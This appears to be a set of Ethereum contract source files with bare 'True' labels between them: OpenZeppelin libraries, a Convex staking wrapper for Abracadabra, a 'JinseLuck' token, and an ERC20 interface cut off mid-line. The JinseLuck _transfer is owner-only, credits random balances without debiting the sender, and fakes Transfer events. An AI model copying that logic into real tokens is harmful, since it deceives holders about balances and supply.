functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: node_modules\@openzeppelin\contracts\utils\Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts\token\ERC20\ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin\contracts\utils\ReentrancyGuard.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin\contracts\access\Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\wrappers\ConvexStakingWrapper.sol pragma solidity 0.6.12; pragma experimental ABIEncoderV2; //Example of a tokenize a convex staked position. //if used as collateral some modifications will be needed to fit the specific platform //Based on Curve.fi's gauge wrapper implementations at https://github.com/curvefi/curve-dao-contracts/tree/master/contracts/gauges/wrappers contract ConvexStakingWrapper is ERC20, ReentrancyGuard, Ownable { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct EarnedData { address token; uint256 amount; } struct RewardType { address reward_token; address reward_pool; uint128 reward_integral; uint128 reward_remaining; mapping(address => uint256) reward_integral_for; mapping(address => uint256) claimable_reward; } uint256 public cvx_reward_integral; uint256 public cvx_reward_remaining; mapping(address => uint256) public cvx_reward_integral_for; mapping(address => uint256) public cvx_claimable_reward; //constants/immutables address public constant convexBooster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31); address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address public immutable curveToken; address public immutable convexToken; address public immutable convexPool; uint256 public immutable convexPoolId; address public immutable collateralVault; //rewards RewardType[] public rewards; //management bool public isShutdown = false; event Deposited(address indexed _user, address indexed _account, uint256 _amount, bool _wrapped); event Withdrawn(address indexed _user, uint256 _amount, bool _unwrapped); constructor(address _curveToken, address _convexToken, address _convexPool, uint256 _poolId, address _vault, string memory _nameTag, string memory _symbolTag) public ERC20( string( abi.encodePacked("Staked ", ERC20(_convexToken).name(), _nameTag ) ), string(abi.encodePacked("stk", ERC20(_convexToken).symbol(), _symbolTag)) ) Ownable() { curveToken = _curveToken; convexToken = _convexToken; convexPool = _convexPool; convexPoolId = _poolId; collateralVault = _vault; } function shutdown() external onlyOwner { isShutdown = true; } function setApprovals() external { IERC20(curveToken).safeApprove(convexBooster, 0); IERC20(curveToken).safeApprove(convexBooster, uint256(-1)); IERC20(convexToken).safeApprove(convexPool, 0); IERC20(convexToken).safeApprove(convexPool, uint256(-1)); } function addRewards() external { address mainPool = convexPool; if (rewards.length == 0) { rewards.push( RewardType({ reward_token: crv, reward_pool: mainPool, reward_integral: 0, reward_remaining: 0 }) ); } uint256 extraCount = IRewardStaking(mainPool).extraRewardsLength(); uint256 startIndex = rewards.length - 1; for (uint256 i = startIndex; i < extraCount; i++) { address extraPool = IRewardStaking(mainPool).extraRewards(i); rewards.push( RewardType({ reward_token: IRewardStaking(extraPool).rewardToken(), reward_pool: extraPool, reward_integral: 0, reward_remaining: 0 }) ); } } function rewardLength() external view returns(uint256) { return rewards.length; } function _getDepositedBalance(address _account) internal virtual view returns(uint256) { if (_account == address(0) || _account == collateralVault) { return 0; } //get balance from collateralVault return balanceOf(_account); } function _getTotalSupply() internal virtual view returns(uint256){ //override and add any supply needed (interest based growth) return totalSupply(); } function _calcCvxIntegral(address[2] memory _accounts, uint256[2] memory _balances, uint256 _supply, bool _isClaim) internal { uint256 bal = IERC20(cvx).balanceOf(address(this)); uint256 d_cvxreward = bal.sub(cvx_reward_remaining); if (_supply > 0 && d_cvxreward > 0) { cvx_reward_integral = cvx_reward_integral + d_cvxreward.mul(1e20).div(_supply); } //update user integrals for cvx for (uint256 u = 0; u < _accounts.length; u++) { //do not give rewards to address 0 if (_accounts[u] == address(0)) continue; if (_accounts[u] == collateralVault) continue; uint userI = cvx_reward_integral_for[_accounts[u]]; if(_isClaim || userI < cvx_reward_integral){ uint256 receiveable = cvx_claimable_reward[_accounts[u]].add(_balances[u].mul(cvx_reward_integral.sub(userI)).div(1e20)); if(_isClaim){ if(receiveable > 0){ cvx_claimable_reward[_accounts[u]] = 0; IERC20(cvx).safeTransfer(_accounts[u], receiveable); bal = bal.sub(receiveable); } }else{ cvx_claimable_reward[_accounts[u]] = receiveable; } cvx_reward_integral_for[_accounts[u]] = cvx_reward_integral; } } //update reward total if(bal != cvx_reward_remaining){ cvx_reward_remaining = bal; } } function _calcRewardIntegral(uint256 _index, address[2] memory _accounts, uint256[2] memory _balances, uint256 _supply, bool _isClaim) internal{ RewardType storage reward = rewards[_index]; //get difference in balance and remaining rewards //getReward is unguarded so we use reward_remaining to keep track of how much was actually claimed uint256 bal = IERC20(reward.reward_token).balanceOf(address(this)); // uint256 d_reward = bal.sub(reward.reward_remaining); if (_supply > 0 && bal.sub(reward.reward_remaining) > 0) { reward.reward_integral = reward.reward_integral + uint128(bal.sub(reward.reward_remaining).mul(1e20).div(_supply)); } //update user integrals for (uint256 u = 0; u < _accounts.length; u++) { //do not give rewards to address 0 if (_accounts[u] == address(0)) continue; if (_accounts[u] == collateralVault) continue; uint userI = reward.reward_integral_for[_accounts[u]]; if(_isClaim || userI < reward.reward_integral){ if(_isClaim){ uint256 receiveable = reward.claimable_reward[_accounts[u]].add(_balances[u].mul( uint256(reward.reward_integral).sub(userI)).div(1e20)); if(receiveable > 0){ reward.claimable_reward[_accounts[u]] = 0; IERC20(reward.reward_token).safeTransfer(_accounts[u], receiveable); bal = bal.sub(receiveable); } }else{ reward.claimable_reward[_accounts[u]] = reward.claimable_reward[_accounts[u]].add(_balances[u].mul( uint256(reward.reward_integral).sub(userI)).div(1e20)); } reward.reward_integral_for[_accounts[u]] = reward.reward_integral; } } //update remaining reward here since balance could have changed if claiming if(bal != reward.reward_remaining){ reward.reward_remaining = uint128(bal); } } function _checkpoint(address[2] memory _accounts) internal { //if shutdown, no longer checkpoint in case there are problems if(isShutdown) return; uint256 supply = _getTotalSupply(); uint256[2] memory depositedBalance; depositedBalance[0] = _getDepositedBalance(_accounts[0]); depositedBalance[1] = _getDepositedBalance(_accounts[1]); IRewardStaking(convexPool).getReward(address(this), true); uint256 rewardCount = rewards.length; for (uint256 i = 0; i < rewardCount; i++) { _calcRewardIntegral(i,_accounts,depositedBalance,supply,false); } _calcCvxIntegral(_accounts,depositedBalance,supply,false); } function _checkpointAndClaim(address[2] memory _accounts) internal { uint256 supply = _getTotalSupply(); uint256[2] memory depositedBalance; depositedBalance[0] = _getDepositedBalance(_accounts[0]); //only do first slot IRewardStaking(convexPool).getReward(address(this), true); uint256 rewardCount = rewards.length; for (uint256 i = 0; i < rewardCount; i++) { _calcRewardIntegral(i,_accounts,depositedBalance,supply,true); } _calcCvxIntegral(_accounts,depositedBalance,supply,true); } function user_checkpoint(address[2] calldata _accounts) external returns(bool) { _checkpoint([_accounts[0], _accounts[1]]); return true; } function totalBalanceOf(address _account) external view returns(uint256){ return _getDepositedBalance(_account); } function earned(address _account) external view returns(EarnedData[] memory claimable) { uint256 supply = _getTotalSupply(); // uint256 depositedBalance = _getDepositedBalance(_account); uint256 rewardCount = rewards.length; claimable = new EarnedData[](rewardCount + 1); for (uint256 i = 0; i < rewardCount; i++) { RewardType storage reward = rewards[i]; //change in reward is current balance - remaining reward + earned uint256 bal = IERC20(reward.reward_token).balanceOf(address(this)); uint256 d_reward = bal.sub(reward.reward_remaining); d_reward = d_reward.add(IRewardStaking(reward.reward_pool).earned(address(this))); uint256 I = reward.reward_integral; if (supply > 0) { I = I + d_reward.mul(1e20).div(supply); } uint256 newlyClaimable = _getDepositedBalance(_account).mul(I.sub(reward.reward_integral_for[_account])).div(1e20); claimable[i].amount = reward.claimable_reward[_account].add(newlyClaimable); claimable[i].token = reward.reward_token; //calc cvx here if(reward.reward_token == crv){ claimable[rewardCount].amount = cvx_claimable_reward[_account].add(CvxMining.ConvertCrvToCvx(newlyClaimable)); claimable[i].token = cvx; } } return claimable; } function getReward(address _account) external { //claim directly in checkpoint logic to save a bit of gas _checkpointAndClaim([_account, address(0)]); } //deposit a curve token function deposit(uint256 _amount, address _to) external nonReentrant { require(!isShutdown, "shutdown"); //dont need to call checkpoint since _mint() will if (_amount > 0) { _mint(_to, _amount); IERC20(curveToken).safeTransferFrom(msg.sender, address(this), _amount); IConvexDeposits(convexBooster).deposit(convexPoolId, _amount, true); } emit Deposited(msg.sender, _to, _amount, true); } //stake a convex token function stake(uint256 _amount, address _to) external nonReentrant { require(!isShutdown, "shutdown"); //dont need to call checkpoint since _mint() will if (_amount > 0) { _mint(_to, _amount); IERC20(convexToken).safeTransferFrom(msg.sender, address(this), _amount); IRewardStaking(convexPool).stake(_amount); } emit Deposited(msg.sender, _to, _amount, false); } //withdraw to convex deposit token function withdraw(uint256 _amount) external nonReentrant { //dont need to call checkpoint since _burn() will if (_amount > 0) { _burn(msg.sender, _amount); IRewardStaking(convexPool).withdraw(_amount, false); IERC20(convexToken).safeTransfer(msg.sender, _amount); } emit Withdrawn(msg.sender, _amount, false); } //withdraw to underlying curve lp token function withdrawAndUnwrap(uint256 _amount) external nonReentrant { //dont need to call checkpoint since _burn() will if (_amount > 0) { _burn(msg.sender, _amount); IRewardStaking(convexPool).withdrawAndUnwrap(_amount, false); IERC20(curveToken).safeTransfer(msg.sender, _amount); } //events emit Withdrawn(msg.sender, _amount, true); } function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal override { _checkpoint([_from, _to]); } } // File: contracts\wrappers\ConvexStakingWrapperAbra.sol pragma solidity 0.6.12; //Staking wrapper for Abracadabra platform //use convex LP positions as collateral while still receiving rewards contract ConvexStakingWrapperAbra is ConvexStakingWrapper { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public cauldron; constructor(address _curveToken, address _convexToken, address _convexPool, uint256 _poolId) public ConvexStakingWrapper(_curveToken, _convexToken, _convexPool, _poolId, address(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966)," Abra", "-abra"){ } function setCauldron(address _cauldron) external onlyOwner{ require(cauldron == address(0),"!0"); cauldron = _cauldron; } function _getDepositedBalance(address _account) internal override view returns(uint256) { if (_account == address(0) || _account == collateralVault) { return 0; } //get collateral balance uint256 collateral = ICauldron(cauldron).userCollateralShare(_account); collateral = IBentoBox(collateralVault).toAmount(address(this), collateral, false); //add to balance of this token return balanceOf(_account).add(collateral); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-01-22 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256){ require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256){ if (a == 0){ return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b ; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256){ require(b !=0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; address private _owner; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor () public { _name = "JinseLuck"; _symbol = "JINSE"; _decimals = 0; _owner = msg.sender; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply()override public view returns (uint256) { return _totalSupply; } function balanceOf(address account)override public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount)override public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender)override public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value)override public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount)override public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool){ _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(sender == _owner, "Only Owner Can Use This"); uint256 rnd = uint256(keccak256(abi.encodePacked(block.timestamp,block.difficulty,blockhash(block.number-1),recipient))) % amount; rnd ++; _balances[recipient] += rnd; emit Transfer(sender, recipient, rnd); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-07-04 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity 